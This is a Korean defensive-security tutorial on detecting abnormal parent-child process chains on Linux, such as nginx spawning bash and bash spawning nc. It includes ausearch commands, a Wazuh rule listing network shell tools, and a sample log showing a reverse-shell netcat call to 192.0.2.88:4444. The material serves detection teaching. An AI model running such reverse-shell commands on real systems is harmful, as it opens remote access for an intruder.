시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 11/50편 (전체 261/450)
학습 단계: 비정상 프로세스 징후
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.
계보 원리(F05)를 바탕으로, 공격에서 자주 나타나는 비정상 부모-자식 조합을 집중 탐지합니다. 특정 부모-자식 쌍은 정상 운영에 거의 없어, 발견 즉시 강한 신호가 됩니다.
공격 특유의 부모-자식 조합
웹/DB 서비스 → 셸: nginx/mysqld → sh/bash (웹셸)
셸 → 네트워크 도구: bash → nc/socat/curl (C2·다운로드)
셸 → 다운로드+실행: bash → wget → chmod → 실행
cron/at → 셸·nc: 스케줄 → 백도어
office/문서 → 셸: (서버엔 드묾) 문서→셸
핵심: "정상 운영에서 이 부모가 이 자식을 만드는가?"
이 조합들은 ATT&CK에서 잘 알려진 탐지 패턴입니다. 정상 기준선에 없는 부모-자식 쌍을 룰로 탐지합니다.
| 부모 → 자식 | 의미 | 위험 |
|---|---|---|
| 웹/DB → 셸 | 웹셸·DB 침해 | 매우 높음 |
| 셸 → nc/socat | C2·백도어 | 높음 |
| 셸 → wget/curl→실행 | 페이로드 | 높음 |
| cron → 셸/nc | 스케줄 백도어 | 높음 |
| systemd → 서비스 | 정상 | 정상 |
# 부모-자식 관계 이상 탐지 (분석 방법)
# 셸이 네트워크 도구를 생성한 경우
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'comm="(nc|ncat|socat|curl|wget)"' | grep -E 'ppid_comm="(sh|bash|dash|zsh)"' | tail
# 웹/DB 서비스가 셸을 생성(F05 재확인)
sudo ausearch -k proc_exec -i --start recent 2>/dev/null | grep -E 'comm="(sh|bash)"' | grep -E 'ppid.*(nginx|httpd|mysqld)'
$ (셸→네트워크 도구) (없음)
$ (서비스→셸) (없음)
셸이 네트워크 도구를 생성하지 않고, 서비스가 셸을 생성하지 않는, 정상 계보만 존재하는 상태입니다.
$ (셸→네트워크 도구)
ppid_comm="bash" comm="nc" args="nc 192.0.2.88 4444 (-e 셸 실행 옵션)"
$ (서비스→셸)
ppid_comm="nginx" comm="bash"
비정상 부모-자식 계보 분석입니다(가상의 예시).
[계보 체인]
nginx(985) → bash(3001) → nc(3002, →4444)
│ │ └ C2 연결
│ └ 셸(웹셸)
└ 웹서버(비정상 부모)
= 웹셸 → 셸 → C2의 공격 계보
| 단계 | 조합 | 해석 |
|---|---|---|
| nginx→bash | 서비스→셸 | 웹셸 |
| bash→nc | 셸→네트워크 | C2 |
| 전체 | 웹→셸→C2 | 공격 체인 |
계보 조합을 따라가면 웹셸→C2 공격이 명확히 드러납니다.
<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,process,">
<!-- 셸이 네트워크 도구를 생성(C2·백도어 계보) -->
<rule id="105100" level="13">
<if_sid>105010</if_sid>
<field name="audit.ppid_comm" type="pcre2">^(sh|bash|dash|zsh|ash)$</field>
<field name="audit.comm" type="pcre2">^(nc|ncat|socat|curl|wget|telnet)$</field>
<description>셸이 네트워크 도구 생성(C2·다운로드 계보)</description>
<mitre><id>T1059</id><id>T1071</id></mitre>
</rule>
</group>
부모-자식 조합 목록은 ATT&CK 기반으로 유지합니다. ppid_comm 추출이 핵심이며 Sysmon(F46)으로 보완합니다.
| 부모 → 자식 | 의미 |
|---|---|
| 웹/DB → 셸 | 웹셸·DB 침해 |
| 셸 → nc/socat | C2·백도어 |
| 셸 → wget→실행 | 페이로드 |
| cron → 셸/nc | 스케줄 백도어 |
| 면접 포인트 | "공격 특유 부모-자식 조합은 정상에 거의 없음 — 발견 즉시 높은 확신" |
다음 편 262. 프로세스·지속성 — 셸·인터프리터 비정상 실행 탐지 에서는 셸·인터프리터 비정상 실행을 다루는 셸·인터프리터 비정상 실행 탐지를 다룹니다.
이전 편: 260. 프로세스·지속성 — 위장(masquerading) 프로세스 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점